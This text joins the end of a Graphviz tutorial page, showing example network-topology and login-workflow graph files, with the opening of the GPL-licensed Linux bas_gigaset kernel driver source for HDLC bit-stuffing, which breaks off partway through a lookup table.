\n\t\t\t\nneo@neo-OptiPlex-380:~/Test/Graphviz$ cat network.gv\ndigraph network {\n\nranksep=5;\nratio=auto;\n\ngraph [\nrankdir = \"LR\"\n];\n\nnode [color=lightblue, style=filled];\n\"idc\";\nsubgraph firewall {\n        rank = same;\n        node[shape=box,color=green];\n        \"ASA5550-Master\" [ label=\"ASA5550-A|SSM-4GE-INC\",shape=\"record\",style=\"filled\",color=\"green\" ];\n        \"ASA5550-Slave\" [ label=\"ASA5550-B\",shape=\"hexagon\",style=\"filled\",color=\"green\" ];\n        \"ASA5550-Master\"->\"ASA5550-Slave\" [label=\"Failover\"];\n        \"ASA5550-Master\"->idc\n        \"ASA5550-Slave\"->idc\n}\n\nsubgraph switch {\n        rank = same;\n\n        \"SW4507RA\" [label=\"Cisco Catalyst 4507R|WS-X4648-RJ45V+E|WS-X4606-X2-E|WS-X45-SUP7-E|WS-X4712-SFP+E\" shape = \"record\"];\n        \"SW4507RB\" [label=\"Cisco Catalyst 4507R\" shape = \"record\"];\n        \"SW4507RA\"->\"SW4507RB\" [label=\"HSRP\"];\n        \"ASA5550-Master\"->\"SW4507RA\" [label=\"1GB\"];\n        \"ASA5550-Slave\"->\"SW4507RB\" [label=\"1GB\"];\n\n        \"SW4507RA\"->O8\n        \"SW4507RB\"->O8\n\n        \"O8\"->O4\n        \"O8\"->O7\n        \"O8\"->O9\n\n        \"SW4507RA\"->J9 [ label = \"SFP+ 10G\" ];\n        \"SW4507RA\"->J10;\n        \"SW4507RA\"->J11;\n        \"SW4507RA\"->J12;\n        \"SW4507RA\"->J13;\n        \"SW4507RA\"->J14;\n        \"SW4507RA\"->J15;\n        \"SW4507RA\"->M12;\n\n        \"SW4507RB\"->J9;\n        \"SW4507RB\"->J10;\n        \"SW4507RB\"->J11;\n        \"SW4507RB\"->J12;\n        \"SW4507RB\"->J13;\n        \"SW4507RB\"->J14;\n        \"SW4507RB\"->J15;\n        \"SW4507RB\"->M12;\n}\n\nsubgraph slb {\n        rank = 2;\n        slb1 [label=\"F5-Master\",shape=circle];\n        slb2 [label=\"F5-Backup\",shape=circle];\n        slb1->\"SW4507RA\";\n        slb2->\"SW4507RB\";\n        slb1->slb2 [label=\"VRRP\"];\n\"10.10.0.3\"    [label=\"cms.example.com preview.example.com publish.example.com\"];\n\"10.10.0.4\"    [label=\"media.example.com\"];\n\"10.10.0.5\"    [label=\"portal.example.com my.example.com login.example.com\"];\n\"10.10.0.6\"    [label=\"sso.example.com\"];\n\nslb1->\"10.10.0.3\"\nslb1->\"10.10.0.4\"\nslb1->\"10.10.0.5\"\nslb1->\"10.10.0.6\"\nslb1->\"10.10.0.7\"\nslb1->\"10.10.0.8\"\nslb1->\"10.10.0.9\"\n\n}\nsubgraph service {\n        nfs [label=\"NFSv4 NAS\"];\n        server->nfs;\n}\n\nsubgraph server {\n        rank = same;\n        \"10.10.10.2\" [label=\"Monitor\"];\n        \"10.10.10.3\" [label=\"Backup\"];\n}\n\nsubgraph lvs {\n        \"10.10.10.6\";\n\n}\n\n\n\"O9\"->\"10.10.10.2\" [label=\"Monitor\"];\n\"O9\"->\"10.10.10.3\" [label=\"Backup\"];\n\"O9\"->\"10.10.10.5\";\n\"O9\"->\"10.10.10.7\";\n\"O9\"->\"10.10.10.14\";\n\"O9\"->\"10.10.10.15\";\n\"O9\"->\"10.10.10.11\";\n\"O9\"->\"10.10.10.12\";\n\"O9\"->\"10.10.10.27\";\n\"O9\"->\"10.10.10.28\";\n\"O9\"->\"10.10.10.71\";\n\"O9\"->\"10.10.10.72\";\n\n\"O8\"->\"10.10.10.20\";\n\"O8\"->\"10.10.10.23\";\n\"O8\"->\"10.10.10.19\";\n\"O8\"->\"10.10.10.10\";\n\"O8\"->\"10.10.10.74\";\n\"O8\"->\"10.10.10.74\";\n\"O8\"->\"10.10.10.75\";\n\"O8\"->\"10.10.10.76\";\n\"O8\"->\"10.10.10.216\";\n\n\"O7\"->\"10.10.10.16\";\n\"O7\"->\"10.10.10.46\";\n\"O7\"->\"10.10.10.47\";\n\"O7\"->\"10.10.10.48\";\n\n\"O4\"->\"10.10.10.41\";\n\"O4\"->\"10.10.10.42\";\n\"O4\"->\"10.10.10.54\";\n\n\n\"J9\"->\"10.10.0.21\";\n\"J9\"->\"10.10.0.22\";\n\"J9\"->\"10.10.0.23\";\n\"J9\"->\"10.10.0.24\";\n\"J9\"->\"10.10.0.25\";\n\"J9\"->\"10.10.0.26\";\n\"J9\"->\"10.10.0.27\";\n\"J9\"->\"10.10.0.28\";\n\"J9\"->\"10.10.0.29\";\n\"J9\"->\"10.10.0.30\";\n\"J9\"->\"10.10.0.31\";\n\"J9\"->\"10.10.0.32\";\n\n\"J10\"->\"10.10.0.41\";\n\"J10\"->\"10.10.0.42\";\n\"J10\"->\"10.10.0.43\";\n\"J10\"->\"10.10.0.44\";\n\"J10\"->\"10.10.0.45\";\n\"J10\"->\"10.10.0.46\";\n\"J10\"->\"10.10.0.47\";\n\"J10\"->\"10.10.0.48\";\n\"J10\"->\"10.10.0.49\";\n\"J10\"->\"10.10.0.50\";\n\"J10\"->\"10.10.0.51\";\n\"J10\"->\"10.10.0.52\";\n\n\"J11\"->\"10.10.0.61\";\n\"J11\"->\"10.10.0.62\";\n\"J11\"->\"10.10.0.63\";\n\"J11\"->\"10.10.0.64\";\n\n\"J12\"->\"10.10.0.254\";\n\"J12\"->\"10.10.0.250\";\n\n\"J13\"->\"10.10.0.81\";\n\"J13\"->\"10.10.0.82\";\n\"J13\"->\"10.10.0.83\";\n\"J13\"->\"10.10.0.84\";\n\"J13\"->\"10.10.0.85\";\n\"J13\"->\"10.10.0.86\";\n\"J13\"->\"10.10.0.87\";\n\"J13\"->\"10.10.0.88\";\n\"J13\"->\"10.10.0.89\";\n\"J13\"->\"10.10.0.90\";\n\"J13\"->\"10.10.0.91\";\n\"J13\"->\"10.10.0.92\";\n\"J13\"->\"10.10.0.93\";\n\n\"J14\"->\"10.10.0.101\";\n\"J14\"->\"10.10.0.102\";\n\"J14\"->\"10.10.0.103\";\n\"J14\"->\"10.10.0.104\";\n\"J14\"->\"10.10.0.105\";\n\"J14\"->\"10.10.0.106\";\n\"J14\"->\"10.10.0.107\";\n\"J14\"->\"10.10.0.108\";\n\"J14\"->\"10.10.0.53\";\n\"J14\"->\"10.10.0.54\";\n\n\"J15\"->\"10.10.5.10\";\n\"J15\"->\"10.10.5.11\";\n\"J15\"->\"10.10.5.12\";\n\"J15\"->\"10.10.5.13\";\n\"J15\"->\"10.10.5.14\";\n\"J15\"->\"10.10.5.15\";\n\"J15\"->\"10.10.5.16\";\n\"J15\"->\"10.10.5.17\";\n\"J15\"->\"10.10.5.18\";\n\"J15\"->\"10.10.5.19\";\n\n\"M12\"->\"10.10.0.121\";\n\"M12\"->\"10.10.0.122\";\n\"M12\"->\"10.10.0.123\";\n\"M12\"->\"10.10.0.124\";\n\"M12\"->\"10.10.0.125\";\n\"M12\"->\"10.10.0.126\";\n\"M12\"->\"10.10.0.127\";\n\"M12\"->\"10.10.0.128\";\n\"M12\"->\"10.10.0.129\";\n\"M12\"->\"10.10.0.130\";\n\"M12\"->\"10.10.0.131\";\n\"M12\"->\"10.10.0.132\";\n\"M12\"->\"10.10.0.133\";\n}\n\n\t\t\t\n\t\t\t
\n\t\t\t
\n$ twopi network.gv -Tpng > network.png\n\t\t\t
\n\t\t
\n\t\t

186.4.3. workflow

\n\t\t\t\n\t\t\t
\n\t\t\t\n/*\ndot -Tpng workflow.gv -o workflow.png\n*/\ndigraph workflow {\n\tgraph\n\t[\n\t ratio=\"auto\"\n\t label=\"User Login & Create Article Workflow\"\n\t labelloc=t\n\t fontname=\"simyou.ttf\"\n\t];\n\tnode[shape=box,width=2];\n\tsubgraph cluster_0 {\n\t\t\tstyle=filled;\n\t\t\tnode [style=filled,color=white,fontcolor=blue];\n\t\t\tlabel=\"Login\";\n\t\t\tcolor=lightgray;\n\t\t\tUser -> Password -> \"Sign in\" [color=red];\n\t}\n\tsubgraph cluster_1 {\n\t\t\tlabel=\"Article\";\n\t\t\tcolor=black;\n\t\t\tTitle -> Text -> Author -> Data -> Submit;\n\t}\n\tsubgraph cluster_2 {\n\t\t\tstyle=filled;\n\t\t\tlabel=\"Auth\";\n\t\t\t\"Query db\" [shape=parallelogram];\n\t\t\t\"set cookie & session\" [shape=parallelogram];\n\t\t\t\"redirect\" [shape=parallelogram];\n\t\t\t\"Query db\" -> \"set cookie & session\" -> \"redirect\";\n\t}\n\tStart -> Login;\n\tLogin->User [label=\"N\"];\n\t\"Sign in\"->\"Query db\";\n\tredirect->Title [style=dotted];\n\tLogin->Title [label=\"Y\"];\n\n\tUser -> Author [style=dotted];\n\n\tSubmit->End;\n\n\tLogin [shape=diamond];\n\tStart [shape=circle,width=1];\n\tEnd\t[shape=circle,width=1];\n}\n\t\t\t\n\t\t\t
\n\t\t
\n\t

上一页 上一级 下一页
186.3. Node, Edge and Graph Attributes 起始页 第 187 章 RRDTool
"} +{"text": "/*\n * Common data handling layer for bas_gigaset\n *\n * Copyright (c) 2005 by Tilman Schmidt ,\n * Hansjoerg Lipp .\n *\n * =====================================================================\n *\tThis program is free software; you can redistribute it and/or\n *\tmodify it under the terms of the GNU General Public License as\n *\tpublished by the Free Software Foundation; either version 2 of\n *\tthe License, or (at your option) any later version.\n * =====================================================================\n */\n\n#include \"gigaset.h\"\n#include \n#include \n\n/* access methods for isowbuf_t */\n/* ============================ */\n\n/* initialize buffer structure\n */\nvoid gigaset_isowbuf_init(struct isowbuf_t *iwb, unsigned char idle)\n{\n\tatomic_set(&iwb->read, 0);\n\tatomic_set(&iwb->nextread, 0);\n\tatomic_set(&iwb->write, 0);\n\tatomic_set(&iwb->writesem, 1);\n\tiwb->wbits = 0;\n\tiwb->idle = idle;\n\tmemset(iwb->data + BAS_OUTBUFSIZE, idle, BAS_OUTBUFPAD);\n}\n\n/* compute number of bytes which can be appended to buffer\n * so that there is still room to append a maximum frame of flags\n */\nstatic inline int isowbuf_freebytes(struct isowbuf_t *iwb)\n{\n\tint read, write, freebytes;\n\n\tread = atomic_read(&iwb->read);\n\twrite = atomic_read(&iwb->write);\n\tif ((freebytes = read - write) > 0) {\n\t\t/* no wraparound: need padding space within regular area */\n\t\treturn freebytes - BAS_OUTBUFPAD;\n\t} else if (read < BAS_OUTBUFPAD) {\n\t\t/* wraparound: can use space up to end of regular area */\n\t\treturn BAS_OUTBUFSIZE - write;\n\t} else {\n\t\t/* following the wraparound yields more space */\n\t\treturn freebytes + BAS_OUTBUFSIZE - BAS_OUTBUFPAD;\n\t}\n}\n\n/* compare two offsets within the buffer\n * The buffer is seen as circular, with the read position as start\n * returns -1/0/1 if position a position b without crossing 'read'\n */\nstatic inline int isowbuf_poscmp(struct isowbuf_t *iwb, int a, int b)\n{\n\tint read;\n\tif (a == b)\n\t\treturn 0;\n\tread = atomic_read(&iwb->read);\n\tif (a < b) {\n\t\tif (a < read && read <= b)\n\t\t\treturn +1;\n\t\telse\n\t\t\treturn -1;\n\t} else {\n\t\tif (b < read && read <= a)\n\t\t\treturn -1;\n\t\telse\n\t\t\treturn +1;\n\t}\n}\n\n/* start writing\n * acquire the write semaphore\n * return true if acquired, false if busy\n */\nstatic inline int isowbuf_startwrite(struct isowbuf_t *iwb)\n{\n\tif (!atomic_dec_and_test(&iwb->writesem)) {\n\t\tatomic_inc(&iwb->writesem);\n\t\tgig_dbg(DEBUG_ISO, \"%s: couldn't acquire iso write semaphore\",\n\t\t\t__func__);\n\t\treturn 0;\n\t}\n#ifdef CONFIG_GIGASET_DEBUG\n\tgig_dbg(DEBUG_ISO,\n\t\t\"%s: acquired iso write semaphore, data[write]=%02x, nbits=%d\",\n\t\t__func__, iwb->data[atomic_read(&iwb->write)], iwb->wbits);\n#endif\n\treturn 1;\n}\n\n/* finish writing\n * release the write semaphore and update the maximum buffer fill level\n * returns the current write position\n */\nstatic inline int isowbuf_donewrite(struct isowbuf_t *iwb)\n{\n\tint write = atomic_read(&iwb->write);\n\tatomic_inc(&iwb->writesem);\n\treturn write;\n}\n\n/* append bits to buffer without any checks\n * - data contains bits to append, starting at LSB\n * - nbits is number of bits to append (0..24)\n * must be called with the write semaphore held\n * If more than nbits bits are set in data, the extraneous bits are set in the\n * buffer too, but the write position is only advanced by nbits.\n */\nstatic inline void isowbuf_putbits(struct isowbuf_t *iwb, u32 data, int nbits)\n{\n\tint write = atomic_read(&iwb->write);\n\tdata <<= iwb->wbits;\n\tdata |= iwb->data[write];\n\tnbits += iwb->wbits;\n\twhile (nbits >= 8) {\n\t\tiwb->data[write++] = data & 0xff;\n\t\twrite %= BAS_OUTBUFSIZE;\n\t\tdata >>= 8;\n\t\tnbits -= 8;\n\t}\n\tiwb->wbits = nbits;\n\tiwb->data[write] = data & 0xff;\n\tatomic_set(&iwb->write, write);\n}\n\n/* put final flag on HDLC bitstream\n * also sets the idle fill byte to the correspondingly shifted flag pattern\n * must be called with the write semaphore held\n */\nstatic inline void isowbuf_putflag(struct isowbuf_t *iwb)\n{\n\tint write;\n\n\t/* add two flags, thus reliably covering one byte */\n\tisowbuf_putbits(iwb, 0x7e7e, 8);\n\t/* recover the idle flag byte */\n\twrite = atomic_read(&iwb->write);\n\tiwb->idle = iwb->data[write];\n\tgig_dbg(DEBUG_ISO, \"idle fill byte %02x\", iwb->idle);\n\t/* mask extraneous bits in buffer */\n\tiwb->data[write] &= (1 << iwb->wbits) - 1;\n}\n\n/* retrieve a block of bytes for sending\n * The requested number of bytes is provided as a contiguous block.\n * If necessary, the frame is filled to the requested number of bytes\n * with the idle value.\n * returns offset to frame, < 0 on busy or error\n */\nint gigaset_isowbuf_getbytes(struct isowbuf_t *iwb, int size)\n{\n\tint read, write, limit, src, dst;\n\tunsigned char pbyte;\n\n\tread = atomic_read(&iwb->nextread);\n\twrite = atomic_read(&iwb->write);\n\tif (likely(read == write)) {\n\t\t/* return idle frame */\n\t\treturn read < BAS_OUTBUFPAD ?\n\t\t\tBAS_OUTBUFSIZE : read - BAS_OUTBUFPAD;\n\t}\n\n\tlimit = read + size;\n\tgig_dbg(DEBUG_STREAM, \"%s: read=%d write=%d limit=%d\",\n\t\t__func__, read, write, limit);\n#ifdef CONFIG_GIGASET_DEBUG\n\tif (unlikely(size < 0 || size > BAS_OUTBUFPAD)) {\n\t\terr(\"invalid size %d\", size);\n\t\treturn -EINVAL;\n\t}\n\tsrc = atomic_read(&iwb->read);\n\tif (unlikely(limit > BAS_OUTBUFSIZE + BAS_OUTBUFPAD ||\n\t\t (read < src && limit >= src))) {\n\t\terr(\"isoc write buffer frame reservation violated\");\n\t\treturn -EFAULT;\n\t}\n#endif\n\n\tif (read < write) {\n\t\t/* no wraparound in valid data */\n\t\tif (limit >= write) {\n\t\t\t/* append idle frame */\n\t\t\tif (!isowbuf_startwrite(iwb))\n\t\t\t\treturn -EBUSY;\n\t\t\t/* write position could have changed */\n\t\t\tif (limit >= (write = atomic_read(&iwb->write))) {\n\t\t\t\tpbyte = iwb->data[write]; /* save\n\t\t\t\t\t\t\t partial byte */\n\t\t\t\tlimit = write + BAS_OUTBUFPAD;\n\t\t\t\tgig_dbg(DEBUG_STREAM,\n\t\t\t\t\t\"%s: filling %d->%d with %02x\",\n\t\t\t\t\t__func__, write, limit, iwb->idle);\n\t\t\t\tif (write + BAS_OUTBUFPAD < BAS_OUTBUFSIZE)\n\t\t\t\t\tmemset(iwb->data + write, iwb->idle,\n\t\t\t\t\t BAS_OUTBUFPAD);\n\t\t\t\telse {\n\t\t\t\t\t/* wraparound, fill entire pad area */\n\t\t\t\t\tmemset(iwb->data + write, iwb->idle,\n\t\t\t\t\t BAS_OUTBUFSIZE + BAS_OUTBUFPAD\n\t\t\t\t\t - write);\n\t\t\t\t\tlimit = 0;\n\t\t\t\t}\n\t\t\t\tgig_dbg(DEBUG_STREAM,\n\t\t\t\t\t\"%s: restoring %02x at %d\",\n\t\t\t\t\t__func__, pbyte, limit);\n\t\t\t\tiwb->data[limit] = pbyte; /* restore\n\t\t\t\t\t\t\t partial byte */\n\t\t\t\tatomic_set(&iwb->write, limit);\n\t\t\t}\n\t\t\tisowbuf_donewrite(iwb);\n\t\t}\n\t} else {\n\t\t/* valid data wraparound */\n\t\tif (limit >= BAS_OUTBUFSIZE) {\n\t\t\t/* copy wrapped part into pad area */\n\t\t\tsrc = 0;\n\t\t\tdst = BAS_OUTBUFSIZE;\n\t\t\twhile (dst < limit && src < write)\n\t\t\t\tiwb->data[dst++] = iwb->data[src++];\n\t\t\tif (dst <= limit) {\n\t\t\t\t/* fill pad area with idle byte */\n\t\t\t\tmemset(iwb->data + dst, iwb->idle,\n\t\t\t\t BAS_OUTBUFSIZE + BAS_OUTBUFPAD - dst);\n\t\t\t}\n\t\t\tlimit = src;\n\t\t}\n\t}\n\tatomic_set(&iwb->nextread, limit);\n\treturn read;\n}\n\n/* dump_bytes\n * write hex bytes to syslog for debugging\n */\nstatic inline void dump_bytes(enum debuglevel level, const char *tag,\n\t\t\t unsigned char *bytes, int count)\n{\n#ifdef CONFIG_GIGASET_DEBUG\n\tunsigned char c;\n\tstatic char dbgline[3 * 32 + 1];\n\tstatic const char hexdigit[] = \"0123456789abcdef\";\n\tint i = 0;\n\twhile (count-- > 0) {\n\t\tif (i > sizeof(dbgline) - 4) {\n\t\t\tdbgline[i] = '\\0';\n\t\t\tgig_dbg(level, \"%s:%s\", tag, dbgline);\n\t\t\ti = 0;\n\t\t}\n\t\tc = *bytes++;\n\t\tdbgline[i] = (i && !(i % 12)) ? '-' : ' ';\n\t\ti++;\n\t\tdbgline[i++] = hexdigit[(c >> 4) & 0x0f];\n\t\tdbgline[i++] = hexdigit[c & 0x0f];\n\t}\n\tdbgline[i] = '\\0';\n\tgig_dbg(level, \"%s:%s\", tag, dbgline);\n#endif\n}\n\n/*============================================================================*/\n\n/* bytewise HDLC bitstuffing via table lookup\n * lookup table: 5 subtables for 0..4 preceding consecutive '1' bits\n * index: 256*(number of preceding '1' bits) + (next byte to stuff)\n * value: bit 9.. 0 = result bits\n * bit 12..10 = number of trailing '1' bits in result\n * bit 14..13 = number of bits added by stuffing\n */\nstatic const u16 stufftab[5 * 256] = {\n// previous 1s = 0:\n 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0006, 0x0007, 0x0008, 0x0009, 0x000a, 0x000b, 0x000c, 0x000d, 0x000e, 0x000f,\n 0x0010, 0x0011, 0x0012, 0x0013, 0x0014, 0x0015, 0x0016, 0x0017, 0x0018, 0x0019, 0x001a, 0x001b, 0x001c, 0x001d, 0x001e, 0x201f,\n 0x0020, 0x0021, 0x0022, 0x0023, 0x0024, 0x0025, 0x0026, 0x0027, 0x0028, 0x0029, 0x002a, 0x002b, 0x002c, 0x002d, 0x002e, 0x002f,\n 0x0030, 0x0031, 0x0032, 0x0033, 0x0034, 0x0035, 0x0036, 0x0037, 0x0038, 0x0039, 0x003a, 0x003b, 0x003c, 0x003d, 0x203e, 0x205f,\n 0x0040, 0x0041, 0x0042, 0x0043, 0x0044, 0x0045, 0x0046, 0x0047, 0x0048, 0x0049, 0x004a, 0x004b, 0x004c, 0x004d, 0x004e, 0x004f,\n 0x0050, 0x0051, 0x0052, 0x0053, 0x0054, 0x0055, 0x0056, 0x0057, 0x0058, 0x0059, 0x005a, 0x005b, 0x005c, 0x005d, 0x005e, 0x209f,\n 0x0060, 0x0061, 0x0062, 0x0063, 0x0064, 0x0065, 0x0066, 0x0067, 0x0068, 0x0069, 0x006a, 0x006b, 0x006c, 0x006d, 0x006e, 0x006f,\n 0x0070, 0x0071, 0x0072, 0x0073, 0x0074, 0x0075, 0x0076, 0x0077, 0x0078, 0x0079, 0x007a, 0x007b, 0x207c, 0x207d, 0x20be, 0x20df,\n 0x0480, 0x0481, 0x0482, 0x0483, 0x0484, 0x0485, 0x0486, 0x0487, 0x0488, 0x0489, 0x048a, 0x048b, 0x048c, 0x048d, 0x048e, 0x048f,\n 0x0490, 0x0491, 0x0492, 0x0493, 0x0494, 0x0495, 0x0496, 0x0497, 0x0498, 0x0499, 0x049a, 0x049b, 0x049c, 0x049d, 0x049e, 0x251f,\n 0x04a0, 0x04a1, 0x04a2, 0x04a3, 0x04a4, 0x04a5, 0x04a6, 0x04a7, 0x04a8, 0x04a9, 0x04aa, 0x04ab, 0x04ac, 0x04ad, 0x04ae, 0x04af,\n 0x04b0, 0x04b1, 0x04b2, 0x04b3, 0x04b4, 0x04b5, 0x04b6, 0x04b7, 0x04b8, 0x04b9, 0x04ba, 0x04bb, 0x04bc, 0x04bd, 0x253e, 0x255f,\n 0x08c0, 0x08c1, 0x08c2, 0x08c3, 0x08c4, 0x08c5, 0x08c6, 0x08c7, 0x08c8, 0x08c9, 0x08ca, 0x08cb, 0x08cc, 0x08cd, 0x08ce, 0x08cf,\n 0x08d0, 0x08d1, 0x08d2, 0x08d3, 0x08d4, 0x08d5, 0x08d6, 0x08d7, 0x08d8, 0x08d9, 0x08da, 0x08db, 0x08dc, 0x08dd, 0x08de, 0x299f,\n 0x0ce0, 0x0ce1, 0x0ce2, 0x0ce3, 0x0ce4, 0x0ce5, 0x0ce6, 0x0ce7, 0x0ce8, 0x0ce9, 0x0cea, 0x0ceb, 0x0cec, 0x0ced, 0x0cee, 0x0cef,\n 0x10f0, 0x10f1, 0x10f2, 0x10f3, 0x10f4, 0x10f5, 0x10f6, 0x10f7, 0x20f8, 0x20f9, 0x20fa, 0x20fb, 0x257c, 0x257d, 0x29be, 0x2ddf,\n\n// previous 1s = 1:\n 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0006, 0x0007, 0x0008, 0x0009, 0x000a, 0x000b, 0x000c, 0x000d, 0x000e, 0x200f,\n 0x0010, 0x0011, 0x0012, 0x0013, 0x0014, 0x0015, 0x0016, 0x0017, 0x0018, 0x0019, 0x001a, 0x001b, 0x001c, 0x001d, 0x001e, 0x202f,\n 0x0020, 0x0021, 0x0022, 0x0023, 0x0024, 0x0025, 0x0026, 0x0027, 0x0028, 0x0029, 0x002a, 0x002b, 0x002c, 0x002d, 0x002e, 0x204f,\n 0x0030, 0x0031, 0x0032, 0x0033, 0x0034, 0x0035, 0x0036, 0x0037, 0x0038, 0x0039, 0x003a, 0x003b, 0x003c, 0x003d, 0x203e, 0x206f,\n 0x0040, 0x0041, 0x0042, 0x0043, 0x0044, 0x0045, 0x0046, 0x0047, 0x0048, 0x0049, 0x004a, 0x004b, 0x004c, 0x004d, 0x004e, 0x208f,\n 0x0050, 0x0051, 0x0052, 0x0053, 0x0054, 0x0055, 0x0056, 0x0057, 0x0058, 0x0059, 0x005a, 0x005b, 0x005c, 0x005d, 0x005e, 0x20af,\n 0x0060, 0x0061, 0x0062, 0x0063, 0x0064, 0x0065, 0x0066, 0x0067, 0x0068, 0x0069, 0x006a, 0x006b, 0x006c, 0x006d, 0x006e, 0x20cf,\n 0x0070, 0x0071, 0x0072, 0x0073, 0x0074, 0x0075, 0x0076, 0x0077, 0x0078, 0x0079, 0x007a, 0x007b, 0x207c, 0x207d, 0x20be, 0x20ef,\n 0x0480, 0x0481, 0x0482, 0x0483, 0x0484, 0x0485, 0x0486, 0x0487, 0x0488, 0x0489, 0x048a, 0x048b, 0x048c, 0x048d, 0x048e, 0x250f,\n 0x0490, 0x0491, 0x0492, 0x0493, 0x0494, 0x0495, 0x0496, 0x0497, 0x0498, 0x0499, 0x049a, 0x049b, 0x049c, 0x049d, 0x049e, 0x252f,\n 0x04a0, 0x04a1, 0x04a2, 0x04a3, 0x04a4, 0x04a5, 0x04a6, 0x04a7, 0x04a8, 0x04a9, 0x04aa, 0x04ab, 0x04ac, 0x04ad, 0x04ae, 0x254f,\n 0x04b0, 0x04b1, 0x04b2, 0x04b3, 0x04b4, 0x04b5, 0x04b6, 0x04b7, 0x04b8, 0x04b9, 0x04ba, 0x04bb, 0x04bc, 0x04bd, 0x253e, 0x256f,\n 0x08c0, 0x08c1, 0x08c2, 0x08c3, 0x08c4, 0x08c5, 0x08c6, 0x08c7, 0x08c8, 0x08c9, 0x08ca, 0x08cb, 0x08cc, 0x08cd, 0x08ce, 0x298f,\n 0x08d0, 0x08d1, 0x08d2, 0x08d3, 0x08d4, 0x08d5, 0x08d6, 0x08d7, 0x08d8, 0x08d9, 0x08da, 0x08db, 0x08dc, 0x08dd, 0x08de, 0x29af,\n 0x0ce0, 0x0ce1, 0x0ce2, 0x0ce3, 0x0ce4, 0x0ce5, 0x0ce6, 0x0ce7, 0x0ce8, 0x0ce9, 0x0cea, 0x0ceb, 0x0cec, 0x0ced, 0x0cee, 0x2dcf,\n 0x10f0, 0x10f1, 0x10f2, 0x10f3, 0x10f4, 0x10f5, 0x10f6, 0x10f7, 0x20f8, 0x20f9, 0x20fa, 0x20fb, 0x257c, 0x257d, 0x29be, 0x31ef,\n\n// previous 1s = 2:\n 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0006, 0x2007, 0x0008, 0x0009, 0x000a, 0x000b, 0x000c, 0x000d, 0x000e, 0x2017,\n 0x0010, 0x0011, 0x0012, 0x0013, 0x0014, 0x0015, 0x0016, 0x2027, 0x0018, 0x0019, 0x001a, 0x001b, 0x001c, 0x001d, 0x001e, 0x2037,\n 0x0020, 0x0021, 0x0022, 0x0023, 0x0024, 0x0025, 0x0026, 0x2047, 0x0028, 0x0029, 0x002a, 0x002b, 0x002c, 0x002d, 0x002e, 0x2057,\n 0x0030, 0x0031, 0x0032, 0x0033, 0x0034, 0x0035, 0x0036, 0x2067, 0x0038, 0x0039, 0x003a, 0x003b, 0x003c, 0x003d, 0x203e, 0x2077,\n 0x0040, 0x0041, 0x0042, 0x0043, 0x0044, 0x0045, 0x0046, 0x2087, 0x0048, 0x0049, 0x004a, 0x004b, 0x004c, 0x004d, 0x004e, 0x2097,\n 0x0050, 0x0051, 0x0052, 0x0053, 0x0054, 0x0055, 0x0056, 0x20a7, 0x0058, 0x0059, 0x005a, 0x005b, 0x005c, 0x005d, 0x005e, 0x20b7,\n 0x0060, 0x0061, 0x0062, 0x0063, 0x0064, 0x0065, 0x0066, 0x20c7, 0x0068, 0x0069, 0x006a, 0x006b, 0x006c, 0x006d, 0x006e, 0x20d7,\n 0x0070, 0x0071, 0x0072, 0x0073, 0x0074, 0x0075, 0x0076, 0x20e7, 0x0078, 0x0079, 0x007a, 0x007b, 0x207c, 0x207d, 0x20be, 0x20f7,\n 0x0480, 0x0481, 0x0482, 0x0483, 0x0484, 0x0485, 0x0486, 0x2507, 0x0488, 0x0489, 0x048a, 0x048b, 0x048c, 0x048d, 0x048e, 0x2517,\n 0x0490, 0x0491, 0x0492, 0x0493, 0x0494, 0x0495, 0x0496, 0x2527, 0x0498, 0x0499, 0x049a, 0x049b, 0x049c, 0x049d, 0x049e, 0x2537,\n 0x04a0, 0x04a1, 0x04a2, 0x04a3, 0x04a4, 0x04a5, 0x04a6, 0x2547, 0x04a8, 0x04a9, 0x04aa, 0x04ab, 0x04ac, 0x04ad, 0x04ae, 0x2557,\n 0x04b0, 0x04b1, 0x04b2, 0x04b3, 0x04b4, 0x04b5, 0x04b6, 0x2567, 0x04b8, 0x04b9, 0x04ba, 0x04bb, 0x04bc, 0x04bd, 0x253e, 0x2577,\n 0x08c0, 0x08c1, 0x08c2, 0x08c3, 0x08c4, 0x08c5, 0x08c6, 0x2987, 0x08c8, 0x08c9, 0x08ca, 0x08cb, 0x08cc, 0x08cd, 0x08ce, 0x2997,\n 0x08d0, 0x08d1, 0x08d2, 0x08d3, 0x08d4, 0x08d5, 0x08d6, 0x29a7, 0x08d8, 0x08d9, 0x08da, 0x08db, 0x08dc, 0x08dd, 0x08de, 0x29b7,\n 0x0ce0, 0x0ce1, 0x0ce2, 0x0ce3, 0x0ce4, 0x0ce5, 0x0ce6, 0x2dc7, 0x0ce8, 0x0ce9, 0x0cea, 0x0ceb, 0x0cec, 0x0ced, 0x0cee, 0x2dd7,\n 0x10f0, 0x10f1, 0x10f2, 0x10f3, 0x10f4, 0x10f5, 0x10f6, 0x31e7, 0x20f8, 0x20f9, 0x20fa, 0x20fb, 0x257c, 0x257d, 0x29be, 0x41f7,\n\n// previous 1s = 3:\n 0x0000, 0x0001, 0x0002, 0x2003, 0x0004, 0x0005, 0x0006, 0x200b, 0x0008, 0x0009, 0x000a, 0x2013, 0x000c, 0x000d, 0x000e, 0x201b,\n 0x0010, 0x0011, 0x0012, 0x2023, 0x0014, 0x0015, 0x0016, 0x202b, 0x0018, 0x0019, 0x001a, 0x2033, 0x001c, 0x001d, 0x001e, 0x203b,\n 0x0020, 0x0021, 0x0022, 0x2043, 0x0024, 0x0025, 0x0026, 0x204b, 0x0028, 0x0029, 0x002a, 0x2053, 0x002c, 0x002d, 0x002e, 0x205b,\n 0x0030, 0x0031, 0x0032, 0x2063, 0x0034, 0x0035, 0x0036, 0x206b, 0x0038, 0x0039, 0x003a, 0x2073, 0x003c, 0x003d, 0x203e, 0x207b,\n 0x0040, 0x0041, 0x0042, 0x2083, 0x0044, 0x0045, 0x0046, 0x208b, 0x0048, 0x0049, 0x004a, 0x2093, 0x004c, 0x004d, 0x004e, 0x209b,\n 0x0050, 0x0051, 0x0052, 0x20a3, 0x0054, 0x0055, 0x0056, 0x20ab, 0x0058, 0x0059, 0x005a, 0x20b3, 0x005c, 0x005d, 0x005e, 0x20bb,\n 0x0060, 0x0061, 0x0062, 0x20c3, 0x0064, 0x0065, 0x0066, 0x20cb, 0x0068, 0x0069, 0x006a, 0x20d3, 0x006c, 0x006d, 0x006e, 0x20db,\n 0x0070, 0x0071, 0x0072, 0x20e3, 0x0074, 0x0075, 0x0076, 0x20eb, 